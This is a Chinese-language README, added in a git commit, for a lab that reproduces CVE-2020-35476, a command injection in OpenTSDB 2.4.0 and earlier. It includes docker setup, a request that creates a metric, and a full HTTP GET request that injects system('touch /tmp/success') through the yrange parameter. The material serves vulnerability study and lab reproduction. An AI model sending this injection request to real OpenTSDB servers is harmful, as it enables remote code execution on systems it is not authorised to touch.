first commit

opentsdb/CVE-2020-35476/README.zh-cn.md

@@ -0,0 +1,72 @@
+# OpenTSDB 命令注入漏洞（CVE-2020-35476）
+
+OpenTSDB是一款基于Hbase的、分布式的、可伸缩的时间序列数据库。在其2.4.0版本及之前，存在一处命令注入漏洞。
+
+参考链接：
+
+- https://github.com/OpenTSDB/opentsdb/issues/2051
+- https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html
+
+## 漏洞环境
+
+执行如下命令启动一个OpenTSDB 2.4.0：
+
+```
+docker compose up -d
+```
+
+服务启动后，访问`http://your-ip:4242`即可看到OpenTSDB的Web接口。
+
+## 漏洞复现
+
+利用这个漏洞需要知道一个metric的名字，我们可以通过`http://your-ip:4242/api/suggest?type=metrics&q=&max=10`查看metric列表：
+
+![](1.png)
+
+我们这里的metrics是空的。
+
+好在当前OpenTSDB开启了自动创建metric功能（`tsd.core.auto_create_metrics = true`），所以我们可以使用如下API创建一个名为`sys.cpu.nice`的metric并添加一条记录：
+
+```
+POST /api/put/ HTTP/1.1
+Host: your-ip:4242
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+Content-Length: 150
+
+{
+    "metric": "sys.cpu.nice",
+    "timestamp": 1346846400,
+    "value": 20,
+    "tags": {
+       "host": "web01",
+       "dc": "lga"
+    }
+}
+```
+
+如果目标OpenTSDB存在metric，且不为空，则无需上述步骤。
+
+发送如下数据包，其中参数`m`的值必须包含一个有数据的metric：
+
+```
+GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
+Host: your-ip:4242
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+
+
+```
+
+![](2.png)
+
+进入容器中可见`touch /tmp/success`已成功执行：
+
+![](3.png)